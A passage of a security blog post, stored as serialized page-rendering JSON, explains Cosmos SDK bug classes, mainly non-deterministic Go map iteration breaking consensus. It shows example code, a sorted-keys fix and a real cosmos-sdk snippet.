write_region",{"type":21,"tag":198,"props":77555,"children":77556},{"style":211},[77557],{"type":27,"value":706},{"type":21,"tag":198,"props":77559,"children":77560},{"style":683},[77561],{"type":27,"value":3917},{"type":21,"tag":198,"props":77563,"children":77564},{"style":226},[77565],{"type":27,"value":36464},{"type":21,"tag":198,"props":77567,"children":77568},{"style":683},[77569],{"type":27,"value":658},{"type":21,"tag":198,"props":77571,"children":77572},{"style":698},[77573],{"type":27,"value":76354},{"type":21,"tag":198,"props":77575,"children":77576},{"style":211},[77577],{"type":27,"value":19178},{"type":21,"tag":198,"props":77579,"children":77580},{"style":226},[77581],{"type":27,"value":77582},"target_ptr",{"type":21,"tag":198,"props":77584,"children":77585},{"style":211},[77586],{"type":27,"value":828},{"type":21,"tag":198,"props":77588,"children":77589},{"style":226},[77590],{"type":27,"value":9177},{"type":21,"tag":198,"props":77592,"children":77593},{"style":211},[77594],{"type":27,"value":2109},{"type":21,"tag":198,"props":77596,"children":77597},{"style":683},[77598],{"type":27,"value":2156},{"type":21,"tag":198,"props":77600,"children":77601},{"style":211},[77602],{"type":27,"value":1483},{"type":21,"tag":198,"props":77604,"children":77605},{"class":200,"line":429},[77606,77610,77614,77618],{"type":21,"tag":198,"props":77607,"children":77608},{"style":1966},[77609],{"type":27,"value":15138},{"type":21,"tag":198,"props":77611,"children":77612},{"style":211},[77613],{"type":27,"value":706},{"type":21,"tag":198,"props":77615,"children":77616},{"style":226},[77617],{"type":27,"value":77582},{"type":21,"tag":198,"props":77619,"children":77620},{"style":211},[77621],{"type":27,"value":789},{"type":21,"tag":198,"props":77623,"children":77624},{"class":200,"line":450},[77625],{"type":21,"tag":198,"props":77626,"children":77627},{"style":211},[77628],{"type":27,"value":1120},{"type":21,"tag":30,"props":77630,"children":77631},{},[77632,77634,77640,77642,77647],{"type":27,"value":77633},"As users have complete control over ",{"type":21,"tag":194,"props":77635,"children":77637},{"className":77636},[],[77638],{"type":27,"value":77639},"allocate",{"type":27,"value":77641},", there is a possibility to call back ",{"type":21,"tag":194,"props":77643,"children":77645},{"className":77644},[],[77646],{"type":27,"value":77102},{"type":27,"value":77648}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":21,"tag":30,"props":77650,"children":77651},{},[77652,77654,77661],{"type":27,"value":77653},"Additional real-world examples include ",{"type":21,"tag":34,"props":77655,"children":77658},{"href":77656,"rel":77657},"https://github.com/cosmos/cosmos-sdk/issues/16676",[38],[77659],{"type":27,"value":77660},"not returning proper values for malformed txs",{"type":27,"value":658},{"type":21,"tag":22,"props":77663,"children":77665},{"id":77664},"order-was-the-dream-of-man",[77666],{"type":27,"value":77667},"Order Was the Dream of Man",{"type":21,"tag":30,"props":77669,"children":77670},{},[77671],{"type":27,"value":77672},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":21,"tag":30,"props":77674,"children":77675},{},[77676],{"type":27,"value":77677},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":21,"tag":187,"props":77679,"children":77681},{"code":77680,"language":76546,"meta":7,"className":76547,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[77682],{"type":21,"tag":194,"props":77683,"children":77684},{"__ignoreMap":7},[77685,77718,77725,77754,77791,77820,77841,77853,77890,77898,77905,77912],{"type":21,"tag":198,"props":77686,"children":77687},{"class":200,"line":201},[77688,77692,77697,77701,77705,77709,77713],{"type":21,"tag":198,"props":77689,"children":77690},{"style":249},[77691],{"type":27,"value":33535},{"type":21,"tag":198,"props":77693,"children":77694},{"style":1966},[77695],{"type":27,"value":77696}," ObjectMap",{"type":21,"tag":198,"props":77698,"children":77699},{"style":249},[77700],{"type":27,"value":2789},{"type":21,"tag":198,"props":77702,"children":77703},{"style":211},[77704],{"type":27,"value":2051},{"type":21,"tag":198,"props":77706,"children":77707},{"style":1966},[77708],{"type":27,"value":30467},{"type":21,"tag":198,"props":77710,"children":77711},{"style":211},[77712],{"type":27,"value":2071},{"type":21,"tag":198,"props":77714,"children":77715},{"style":1966},[77716],{"type":27,"value":77717},"string\n",{"type":21,"tag":198,"props":77719,"children":77720},{"class":200,"line":217},[77721],{"type":21,"tag":198,"props":77722,"children":77723},{"emptyLinePlaceholder":16},[77724],{"type":27,"value":1283},{"type":21,"tag":198,"props":77726,"children":77727},{"class":200,"line":236},[77728,77732,77737,77741,77746,77750],{"type":21,"tag":198,"props":77729,"children":77730},{"style":249},[77731],{"type":27,"value":76682},{"type":21,"tag":198,"props":77733,"children":77734},{"style":698},[77735],{"type":27,"value":77736}," EmitEntries",{"type":21,"tag":198,"props":77738,"children":77739},{"style":211},[77740],{"type":27,"value":706},{"type":21,"tag":198,"props":77742,"children":77743},{"style":226},[77744],{"type":27,"value":77745},"objectMap",{"type":21,"tag":198,"props":77747,"children":77748},{"style":1966},[77749],{"type":27,"value":77696},{"type":21,"tag":198,"props":77751,"children":77752},{"style":211},[77753],{"type":27,"value":668},{"type":21,"tag":198,"props":77755,"children":77756},{"class":200,"line":260},[77757,77761,77765,77769,77773,77777,77782,77787],{"type":21,"tag":198,"props":77758,"children":77759},{"style":640},[77760],{"type":27,"value":3840},{"type":21,"tag":198,"props":77762,"children":77763},{"style":226},[77764],{"type":27,"value":6744},{"type":21,"tag":198,"props":77766,"children":77767},{"style":211},[77768],{"type":27,"value":828},{"type":21,"tag":198,"props":77770,"children":77771},{"style":226},[77772],{"type":27,"value":39910},{"type":21,"tag":198,"props":77774,"children":77775},{"style":683},[77776],{"type":27,"value":76798},{"type":21,"tag":198,"props":77778,"children":77779},{"style":640},[77780],{"type":27,"value":77781}," range",{"type":21,"tag":198,"props":77783,"children":77784},{"style":226},[77785],{"type":27,"value":77786}," objectMap",{"type":21,"tag":198,"props":77788,"children":77789},{"style":211},[77790],{"type":27,"value":233},{"type":21,"tag":198,"props":77792,"children":77793},{"class":200,"line":281},[77794,77798,77802,77807,77811,77816],{"type":21,"tag":198,"props":77795,"children":77796},{"style":226},[77797],{"type":27,"value":26990},{"type":21,"tag":198,"props":77799,"children":77800},{"style":211},[77801],{"type":27,"value":658},{"type":21,"tag":198,"props":77803,"children":77804},{"style":226},[77805],{"type":27,"value":77806},"EventManager",{"type":21,"tag":198,"props":77808,"children":77809},{"style":211},[77810],{"type":27,"value":658},{"type":21,"tag":198,"props":77812,"children":77813},{"style":698},[77814],{"type":27,"value":77815},"EmitEvent",{"type":21,"tag":198,"props":77817,"children":77818},{"style":211},[77819],{"type":27,"value":4268},{"type":21,"tag":198,"props":77821,"children":77822},{"class":200,"line":302},[77823,77828,77832,77837],{"type":21,"tag":198,"props":77824,"children":77825},{"style":226},[77826],{"type":27,"value":77827}," sdk",{"type":21,"tag":198,"props":77829,"children":77830},{"style":211},[77831],{"type":27,"value":658},{"type":21,"tag":198,"props":77833,"children":77834},{"style":698},[77835],{"type":27,"value":77836},"NewEvent",{"type":21,"tag":198,"props":77838,"children":77839},{"style":211},[77840],{"type":27,"value":4268},{"type":21,"tag":198,"props":77842,"children":77843},{"class":200,"line":323},[77844,77849],{"type":21,"tag":198,"props":77845,"children":77846},{"style":205},[77847],{"type":27,"value":77848}," \"MapContext\"",{"type":21,"tag":198,"props":77850,"children":77851},{"style":211},[77852],{"type":27,"value":257},{"type":21,"tag":198,"props":77854,"children":77855},{"class":200,"line":344},[77856,77861,77865,77870,77874,77878,77882,77886],{"type":21,"tag":198,"props":77857,"children":77858},{"style":226},[77859],{"type":27,"value":77860}," sdk",{"type":21,"tag":198,"props":77862,"children":77863},{"style":211},[77864],{"type":27,"value":658},{"type":21,"tag":198,"props":77866,"children":77867},{"style":698},[77868],{"type":27,"value":77869},"NewAttribute",{"type":21,"tag":198,"props":77871,"children":77872},{"style":211},[77873],{"type":27,"value":706},{"type":21,"tag":198,"props":77875,"children":77876},{"style":226},[77877],{"type":27,"value":72536},{"type":21,"tag":198,"props":77879,"children":77880},{"style":211},[77881],{"type":27,"value":828},{"type":21,"tag":198,"props":77883,"children":77884},{"style":226},[77885],{"type":27,"value":39910},{"type":21,"tag":198,"props":77887,"children":77888},{"style":211},[77889],{"type":27,"value":7548},{"type":21,"tag":198,"props":77891,"children":77892},{"class":200,"line":365},[77893],{"type":21,"tag":198,"props":77894,"children":77895},{"style":211},[77896],{"type":27,"value":77897}," )\n",{"type":21,"tag":198,"props":77899,"children":77900},{"class":200,"line":386},[77901],{"type":21,"tag":198,"props":77902,"children":77903},{"style":211},[77904],{"type":27,"value":68700},{"type":21,"tag":198,"props":77906,"children":77907},{"class":200,"line":408},[77908],{"type":21,"tag":198,"props":77909,"children":77910},{"style":211},[77911],{"type":27,"value":880},{"type":21,"tag":198,"props":77913,"children":77914},{"class":200,"line":429},[77915],{"type":21,"tag":198,"props":77916,"children":77917},{"style":211},[77918],{"type":27,"value":1120},{"type":21,"tag":30,"props":77920,"children":77921},{},[77922],{"type":27,"value":77923},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":21,"tag":3741,"props":77925,"children":77926},{},[77927],{"type":21,"tag":30,"props":77928,"children":77929},{},[77930],{"type":27,"value":77931},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":21,"tag":30,"props":77933,"children":77934},{},[77935,77937,77942],{"type":27,"value":77936},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":21,"tag":194,"props":77938,"children":77940},{"className":77939},[],[77941],{"type":27,"value":67481},{"type":27,"value":77943}," and then fetch the values using the sorted key array before emitting them.",{"type":21,"tag":187,"props":77945,"children":77947},{"code":77946,"language":76546,"meta":7,"className":76547,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[77948],{"type":21,"tag":194,"props":77949,"children":77950},{"__ignoreMap":7},[77951,77982,77989,78016,78036,78063,78099,78106,78135,78142,78177,78204,78223,78234,78278,78285,78292,78299],{"type":21,"tag":198,"props":77952,"children":77953},{"class":200,"line":201},[77954,77958,77962,77966,77970,77974,77978],{"type":21,"tag":198,"props":77955,"children":77956},{"style":249},[77957],{"type":27,"value":33535},{"type":21,"tag":198,"props":77959,"children":77960},{"style":1966},[77961],{"type":27,"value":77696},{"type":21,"tag":198,"props":77963,"children":77964},{"style":249},[77965],{"type":27,"value":2789},{"type":21,"tag":198,"props":77967,"children":77968},{"style":211},[77969],{"type":27,"value":2051},{"type":21,"tag":198,"props":77971,"children":77972},{"style":1966},[77973],{"type":27,"value":30467},{"type":21,"tag":198,"props":77975,"children":77976},{"style":211},[77977],{"type":27,"value":2071},{"type":21,"tag":198,"props":77979,"children":77980},{"style":1966},[77981],{"type":27,"value":77717},{"type":21,"tag":198,"props":77983,"children":77984},{"class":200,"line":217},[77985],{"type":21,"tag":198,"props":77986,"children":77987},{"emptyLinePlaceholder":16},[77988],{"type":27,"value":1283},{"type":21,"tag":198,"props":77990,"children":77991},{"class":200,"line":236},[77992,77996,78000,78004,78008,78012],{"type":21,"tag":198,"props":77993,"children":77994},{"style":249},[77995],{"type":27,"value":76682},{"type":21,"tag":198,"props":77997,"children":77998},{"style":698},[77999],{"type":27,"value":77736},{"type":21,"tag":198,"props":78001,"children":78002},{"style":211},[78003],{"type":27,"value":706},{"type":21,"tag":198,"props":78005,"children":78006},{"style":226},[78007],{"type":27,"value":77745},{"type":21,"tag":198,"props":78009,"children":78010},{"style":1966},[78011],{"type":27,"value":77696},{"type":21,"tag":198,"props":78013,"children":78014},{"style":211},[78015],{"type":27,"value":668},{"type":21,"tag":198,"props":78017,"children":78018},{"class":200,"line":260},[78019,78024,78028,78032],{"type":21,"tag":198,"props":78020,"children":78021},{"style":249},[78022],{"type":27,"value":78023}," var",{"type":21,"tag":198,"props":78025,"children":78026},{"style":226},[78027],{"type":27,"value":22173},{"type":21,"tag":198,"props":78029,"children":78030},{"style":211},[78031],{"type":27,"value":76609},{"type":21,"tag":198,"props":78033,"children":78034},{"style":1966},[78035],{"type":27,"value":77717},{"type":21,"tag":198,"props":78037,"children":78038},{"class":200,"line":281},[78039,78043,78047,78051,78055,78059],{"type":21,"tag":198,"props":78040,"children":78041},{"style":640},[78042],{"type":27,"value":3840},{"type":21,"tag":198,"props":78044,"children":78045},{"style":226},[78046],{"type":27,"value":6744},{"type":21,"tag":198,"props":78048,"children":78049},{"style":683},[78050],{"type":27,"value":76798},{"type":21,"tag":198,"props":78052,"children":78053},{"style":640},[78054],{"type":27,"value":77781},{"type":21,"tag":198,"props":78056,"children":78057},{"style":226},[78058],{"type":27,"value":77786},{"type":21,"tag":198,"props":78060,"children":78061},{"style":211},[78062],{"type":27,"value":233},{"type":21,"tag":198,"props":78064,"children":78065},{"class":200,"line":302},[78066,78070,78074,78079,78083,78087,78091,78095],{"type":21,"tag":198,"props":78067,"children":78068},{"style":226},[78069],{"type":27,"value":26136},{"type":21,"tag":198,"props":78071,"children":78072},{"style":683},[78073],{"type":27,"value":979},{"type":21,"tag":198,"props":78075,"children":78076},{"style":698},[78077],{"type":27,"value":78078}," append",{"type":21,"tag":198,"props":78080,"children":78081},{"style":211},[78082],{"type":27,"value":706},{"type":21,"tag":198,"props":78084,"children":78085},{"style":226},[78086],{"type":27,"value":21776},{"type":21,"tag":198,"props":78088,"children":78089},{"style":211},[78090],{"type":27,"value":828},{"type":21,"tag":198,"props":78092,"children":78093},{"style":226},[78094],{"type":27,"value":72536},{"type":21,"tag":198,"props":78096,"children":78097},{"style":211},[78098],{"type":27,"value":789},{"type":21,"tag":198,"props":78100,"children":78101},{"class":200,"line":323},[78102],{"type":21,"tag":198,"props":78103,"children":78104},{"style":211},[78105],{"type":27,"value":880},{"type":21,"tag":198,"props":78107,"children":78108},{"class":200,"line":344},[78109,78114,78118,78123,78127,78131],{"type":21,"tag":198,"props":78110,"children":78111},{"style":226},[78112],{"type":27,"value":78113}," sort",{"type":21,"tag":198,"props":78115,"children":78116},{"style":211},[78117],{"type":27,"value":658},{"type":21,"tag":198,"props":78119,"children":78120},{"style":698},[78121],{"type":27,"value":78122},"Strings",{"type":21,"tag":198,"props":78124,"children":78125},{"style":211},[78126],{"type":27,"value":706},{"type":21,"tag":198,"props":78128,"children":78129},{"style":226},[78130],{"type":27,"value":21776},{"type":21,"tag":198,"props":78132,"children":78133},{"style":211},[78134],{"type":27,"value":789},{"type":21,"tag":198,"props":78136,"children":78137},{"class":200,"line":365},[78138],{"type":21,"tag":198,"props":78139,"children":78140},{"emptyLinePlaceholder":16},[78141],{"type":27,"value":1283},{"type":21,"tag":198,"props":78143,"children":78144},{"class":200,"line":386},[78145,78149,78153,78157,78161,78165,78169,78173],{"type":21,"tag":198,"props":78146,"children":78147},{"style":640},[78148],{"type":27,"value":3840},{"type":21,"tag":198,"props":78150,"children":78151},{"style":226},[78152],{"type":27,"value":3845},{"type":21,"tag":198,"props":78154,"children":78155},{"style":211},[78156],{"type":27,"value":828},{"type":21,"tag":198,"props":78158,"children":78159},{"style":226},[78160],{"type":27,"value":72536},{"type":21,"tag":198,"props":78162,"children":78163},{"style":683},[78164],{"type":27,"value":76798},{"type":21,"tag":198,"props":78166,"children":78167},{"style":640},[78168],{"type":27,"value":77781},{"type":21,"tag":198,"props":78170,"children":78171},{"style":226},[78172],{"type":27,"value":22173},{"type":21,"tag":198,"props":78174,"children":78175},{"style":211},[78176],{"type":27,"value":233},{"type":21,"tag":198,"props":78178,"children":78179},{"class":200,"line":408},[78180,78184,78188,78192,78196,78200],{"type":21,"tag":198,"props":78181,"children":78182},{"style":226},[78183],{"type":27,"value":26990},{"type":21,"tag":198,"props":78185,"children":78186},{"style":211},[78187],{"type":27,"value":658},{"type":21,"tag":198,"props":78189,"children":78190},{"style":226},[78191],{"type":27,"value":77806},{"type":21,"tag":198,"props":78193,"children":78194},{"style":211},[78195],{"type":27,"value":658},{"type":21,"tag":198,"props":78197,"children":78198},{"style":698},[78199],{"type":27,"value":77815},{"type":21,"tag":198,"props":78201,"children":78202},{"style":211},[78203],{"type":27,"value":4268},{"type":21,"tag":198,"props":78205,"children":78206},{"class":200,"line":429},[78207,78211,78215,78219],{"type":21,"tag":198,"props":78208,"children":78209},{"style":226},[78210],{"type":27,"value":77827},{"type":21,"tag":198,"props":78212,"children":78213},{"style":211},[78214],{"type":27,"value":658},{"type":21,"tag":198,"props":78216,"children":78217},{"style":698},[78218],{"type":27,"value":77836},{"type":21,"tag":198,"props":78220,"children":78221},{"style":211},[78222],{"type":27,"value":4268},{"type":21,"tag":198,"props":78224,"children":78225},{"class":200,"line":450},[78226,78230],{"type":21,"tag":198,"props":78227,"children":78228},{"style":205},[78229],{"type":27,"value":77848},{"type":21,"tag":198,"props":78231,"children":78232},{"style":211},[78233],{"type":27,"value":257},{"type":21,"tag":198,"props":78235,"children":78236},{"class":200,"line":468},[78237,78241,78245,78249,78253,78257,78261,78265,78269,78273],{"type":21,"tag":198,"props":78238,"children":78239},{"style":226},[78240],{"type":27,"value":77860},{"type":21,"tag":198,"props":78242,"children":78243},{"style":211},[78244],{"type":27,"value":658},{"type":21,"tag":198,"props":78246,"children":78247},{"style":698},[78248],{"type":27,"value":77869},{"type":21,"tag":198,"props":78250,"children":78251},{"style":211},[78252],{"type":27,"value":706},{"type":21,"tag":198,"props":78254,"children":78255},{"style":226},[78256],{"type":27,"value":72536},{"type":21,"tag":198,"props":78258,"children":78259},{"style":211},[78260],{"type":27,"value":828},{"type":21,"tag":198,"props":78262,"children":78263},{"style":226},[78264],{"type":27,"value":77745},{"type":21,"tag":198,"props":78266,"children":78267},{"style":211},[78268],{"type":27,"value":2051},{"type":21,"tag":198,"props":78270,"children":78271},{"style":226},[78272],{"type":27,"value":72536},{"type":21,"tag":198,"props":78274,"children":78275},{"style":211},[78276],{"type":27,"value":78277},"]),\n",{"type":21,"tag":198,"props":78279,"children":78280},{"class":200,"line":477},[78281],{"type":21,"tag":198,"props":78282,"children":78283},{"style":211},[78284],{"type":27,"value":77897},{"type":21,"tag":198,"props":78286,"children":78287},{"class":200,"line":494},[78288],{"type":21,"tag":198,"props":78289,"children":78290},{"style":211},[78291],{"type":27,"value":68700},{"type":21,"tag":198,"props":78293,"children":78294},{"class":200,"line":515},[78295],{"type":21,"tag":198,"props":78296,"children":78297},{"style":211},[78298],{"type":27,"value":880},{"type":21,"tag":198,"props":78300,"children":78301},{"class":200,"line":4484},[78302],{"type":21,"tag":198,"props":78303,"children":78304},{"style":211},[78305],{"type":27,"value":1120},{"type":21,"tag":30,"props":78307,"children":78308},{},[78309],{"type":27,"value":78310},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":21,"tag":59,"props":78312,"children":78314},{"id":78313},"real-world-examples-1",[78315],{"type":27,"value":77071},{"type":21,"tag":30,"props":78317,"children":78318},{},[78319,78321,78326,78328,78334,78336,78342,78344,78350],{"type":27,"value":78320},"Real-world examples of ",{"type":21,"tag":194,"props":78322,"children":78324},{"className":78323},[],[78325],{"type":27,"value":67481},{"type":27,"value":78327}," causing determinism problems can be found ",{"type":21,"tag":34,"props":78329,"children":78332},{"href":78330,"rel":78331},"https://github.com/cosmos/cosmos-sdk/pull/12487",[38],[78333],{"type":27,"value":625},{"type":27,"value":78335},", specifically, where the result of ",{"type":21,"tag":194,"props":78337,"children":78339},{"className":78338},[],[78340],{"type":27,"value":78341},"buildCommitInfo",{"type":27,"value":78343}," is inconsistent due to iteration over the ",{"type":21,"tag":194,"props":78345,"children":78347},{"className":78346},[],[78348],{"type":27,"value":78349},"rs.stores",{"type":27,"value":78351}," map.",{"type":21,"tag":30,"props":78353,"children":78354},{},[78355],{"type":21,"tag":34,"props":78356,"children":78359},{"href":78357,"rel":78358},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[38],[78360],{"type":27,"value":77121},{"type":21,"tag":187,"props":78362,"children":78364},{"code":78363,"language":76546,"meta":7,"className":76547,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[78365],{"type":21,"tag":194,"props":78366,"children":78367},{"__ignoreMap":7},[78368,78405,78418,78446,78480,78525,78571,78579,78586,78631,78661,78690,78697,78704,78731,78753,78773,78780],{"type":21,"tag":198,"props":78369,"children":78370},{"class":200,"line":201},[78371,78375,78379,78384,78388,78393,78397,78401],{"type":21,"tag":198,"props":78372,"children":78373},{"style":249},[78374],{"type":27,"value":76682},{"type":21,"tag":198,"props":78376,"children":78377},{"style":211},[78378],{"type":27,"value":648},{"type":21,"tag":198,"props":78380,"children":78381},{"style":226},[78382],{"type":27,"value":78383},"rs ",{"type":21,"tag":198,"props":78385,"children":78386},{"style":683},[78387],{"type":27,"value":5383},{"type":21,"tag":198,"props":78389,"children":78390},{"style":1966},[78391],{"type":27,"value":78392},"Store",{"type":21,"tag":198,"props":78394,"children":78395},{"style":211},[78396],{"type":27,"value":1541},{"type":21,"tag":198,"props":78398,"children":78399},{"style":698},[78400],{"type":27,"value":78341},{"type":21,"tag":198,"props":78402,"children":78403},{"style":211},[78404],{"type":27,"value":4268},{"type":21,"tag":198,"props":78406,"children":78407},{"class":200,"line":217},[78408,78413],{"type":21,"tag":198,"props":78409,"children":78410},{"style":226},[78411],{"type":27,"value":78412}," version",{"type":21,"tag":198,"props":78414,"children":78415},{"style":1966},[78416],{"type":27,"value":78417}," int64\n",{"type":21,"tag":198,"props":78419,"children":78420},{"class":200,"line":236},[78421,78425,78429,78433,78437,78442],{"type":21,"tag":198,"props":78422,"children":78423},{"style":211},[78424],{"type":27,"value":1541},{"type":21,"tag":198,"props":78426,"children":78427},{"style":683},[78428],{"type":27,"value":5383},{"type":21,"tag":198,"props":78430,"children":78431},{"style":1966},[78432],{"type":27,"value":6572},{"type":21,"tag":198,"props":78434,"children":78435},{"style":211},[78436],{"type":27,"value":658},{"type":21,"tag":198,"props":78438,"children":78439},{"style":1966},[78440],{"type":27,"value":78441},"CommitInfo",{"type":21,"tag":198,"props":78443,"children":78444},{"style":211},[78445],{"type":27,"value":233},{"type":21,"tag":198,"props":78447,"children":78448},{"class":200,"line":260},[78449,78454,78458,78462,78466,78470,78475],{"type":21,"tag":198,"props":78450,"children":78451},{"style":226},[78452],{"type":27,"value":78453}," storeInfos",{"type":21,"tag":198,"props":78455,"children":78456},{"style":683},[78457],{"type":27,"value":76798},{"type":21,"tag":198,"props":78459,"children":78460},{"style":211},[78461],{"type":27,"value":76609},{"type":21,"tag":198,"props":78463,"children":78464},{"style":1966},[78465],{"type":27,"value":6572},{"type":21,"tag":198,"props":78467,"children":78468},{"style":211},[78469],{"type":27,"value":658},{"type":21,"tag":198,"props":78471,"children":78472},{"style":1966},[78473],{"type":27,"value":78474},"StoreInfo",{"type":21,"tag":198,"props":78476,"children":78477},{"style":211},[78478],{"type":27,"value":78479},"{}\n",{"type":21,"tag":198,"props":78481,"children":78482},{"class":200,"line":281},[78483,78487,78491,78495,78499,78503,78507,78512,78516,78521],{"type":21,"tag":198,"props":78484,"children":78485},{"style":640},[78486],{"type":27,"value":3840},{"type":21,"tag":198,"props":78488,"children":78489},{"style":226},[78490],{"type":27,"value":6744},{"type":21,"tag":198,"props":78492,"children":78493},{"style":211},[78494],{"type":27,"value":828},{"type":21,"tag":198,"props":78496,"children":78497},{"style":226},[78498],{"type":27,"value":6753},{"type":21,"tag":198,"props":78500,"children":78501},{"style":683},[78502],{"type":27,"value":76798},{"type":21,"tag":198,"props":78504,"children":78505},{"style":640},[78506],{"type":27,"value":77781},{"type":21,"tag":198,"props":78508,"children":78509},{"style":226},[78510],{"type":27,"value":78511}," rs",{"type":21,"tag":198,"props":78513,"children":78514},{"style":211},[78515],{"type":27,"value":658},{"type":21,"tag":198,"props":78517,"children":78518},{"style":226},[78519],{"type":27,"value":78520},"stores",{"type":21,"tag":198,"props":78522,"children":78523},{"style":211},[78524],{"type":27,"value":233},{"type":21,"tag":198,"props":78526,"children":78527},{"class":200,"line":302},[78528,78532,78536,78540,78545,78549,78553,78558,78562,78567],{"type":21,"tag":198,"props":78529,"children":78530},{"style":640},[78531],{"type":27,"value":4079},{"type":21,"tag":198,"props":78533,"children":78534},{"style":226},[78535],{"type":27,"value":6644},{"type":21,"tag":198,"props":78537,"children":78538},{"style":211},[78539],{"type":27,"value":658},{"type":21,"tag":198,"props":78541,"children":78542},{"style":698},[78543],{"type":27,"value":78544},"GetStoreType",{"type":21,"tag":198,"props":78546,"children":78547},{"style":211},[78548],{"type":27,"value":14850},{"type":21,"tag":198,"props":78550,"children":78551},{"style":683},[78552],{"type":27,"value":9386},{"type":21,"tag":198,"props":78554,"children":78555},{"style":226},[78556],{"type":27,"value":78557}," types",{"type":21,"tag":198,"props":78559,"children":78560},{"style":211},[78561],{"type":27,"value":658},{"type":21,"tag":198,"props":78563,"children":78564},{"style":226},[78565],{"type":27,"value":78566},"StoreTypeTransient",{"type":21,"tag":198,"props":78568,"children":78569},{"style":211},[78570],{"type":27,"value":233},{"type":21,"tag":198,"props":78572,"children":78573},{"class":200,"line":323},[78574],{"type":21,"tag":198,"props":78575,"children":78576},{"style":640},[78577],{"type":27,"value":78578}," continue\n",{"type":21,"tag":198,"props":78580,"children":78581},{"class":200,"line":344},[78582],{"type":21,"tag":198,"props":78583,"children":78584},{"style":211},[78585],{"type":27,"value":1160},{"type":21,"tag":198,"props":78587,"children":78588},{"class":200,"line":365},[78589,78594,78598,78602,78606,78611,78615,78619,78623,78627],{"type":21,"tag":198,"props":78590,"children":78591},{"style":226},[78592],{"type":27,"value":78593}," storeInfos",{"type":21,"tag":198,"props":78595,"children":78596},{"style":683},[78597],{"type":27,"value":979},{"type":21,"tag":198,"props":78599,"children":78600},{"style":698},[78601],{"type":27,"value":78078},{"type":21,"tag":198,"props":78603,"children":78604},{"style":211},[78605],{"type":27,"value":706},{"type":21,"tag":198,"props":78607,"children":78608},{"style":226},[78609],{"type":27,"value":78610},"storeInfos",{"type":21,"tag":198,"props":78612,"children":78613},{"style":211},[78614],{"type":27,"value":828},{"type":21,"tag":198,"props":78616,"children":78617},{"style":1966},[78618],{"type":27,"value":6572},{"type":21,"tag":198,"props":78620,"children":78621},{"style":211},[78622],{"type":27,"value":658},{"type":21,"tag":198,"props":78624,"children":78625},{"style":1966},[78626],{"type":27,"value":78474},{"type":21,"tag":198,"props":78628,"children":78629},{"style":211},[78630],{"type":27,"value":11689},{"type":21,"tag":198,"props":78632,"children":78633},{"class":200,"line":386},[78634,78639,78644,78648,78652,78657],{"type":21,"tag":198,"props":78635,"children":78636},{"style":226},[78637],{"type":27,"value":78638}," Name",{"type":21,"tag":198,"props":78640,"children":78641},{"style":211},[78642],{"type":27,"value":78643},": ",{"type":21,"tag":198,"props":78645,"children":78646},{"style":226},[78647],{"type":27,"value":72536},{"type":21,"tag":198,"props":78649,"children":78650},{"style":211},[78651],{"type":27,"value":658},{"type":21,"tag":198,"props":78653,"children":78654},{"style":698},[78655],{"type":27,"value":78656},"Name",{"type":21,"tag":198,"props":78658,"children":78659},{"style":211},[78660],{"type":27,"value":4296},{"type":21,"tag":198,"props":78662,"children":78663},{"class":200,"line":408},[78664,78669,78673,78677,78681,78686],{"type":21,"tag":198,"props":78665,"children":78666},{"style":226},[78667],{"type":27,"value":78668}," CommitId",{"type":21,"tag":198,"props":78670,"children":78671},{"style":211},[78672],{"type":27,"value":16136},{"type":21,"tag":198,"props":78674,"children":78675},{"style":226},[78676],{"type":27,"value":6753},{"type":21,"tag":198,"props":78678,"children":78679},{"style":211},[78680],{"type":27,"value":658},{"type":21,"tag":198,"props":78682,"children":78683},{"style":698},[78684],{"type":27,"value":78685},"LastCommitID",{"type":21,"tag":198,"props":78687,"children":78688},{"style":211},[78689],{"type":27,"value":4296},{"type":21,"tag":198,"props":78691,"children":78692},{"class":200,"line":429},[78693],{"type":21,"tag":198,"props":78694,"children":78695},{"style":211},[78696],{"type":27,"value":68577},{"type":21,"tag":198,"props":78698,"children":78699},{"class":200,"line":450},[78700],{"type":21,"tag":198,"props":78701,"children":78702},{"style":211},[78703],{"type":27,"value":880},{"type":21,"tag":198,"props":78705,"children":78706},{"class":200,"line":468},[78707,78711,78715,78719,78723,78727],{"type":21,"tag":198,"props":78708,"children":78709},{"style":640},[78710],{"type":27,"value":1478},{"type":21,"tag":198,"props":78712,"children":78713},{"style":683},[78714],{"type":27,"value":7953},{"type":21,"tag":198,"props":78716,"children":78717},{"style":1966},[78718],{"type":27,"value":6572},{"type":21,"tag":198,"props":78720,"children":78721},{"style":211},[78722],{"type":27,"value":658},{"type":21,"tag":198,"props":78724,"children":78725},{"style":1966},[78726],{"type":27,"value":78441},{"type":21,"tag":198,"props":78728,"children":78729},{"style":211},[78730],{"type":27,"value":11689},{"type":21,"tag":198,"props":78732,"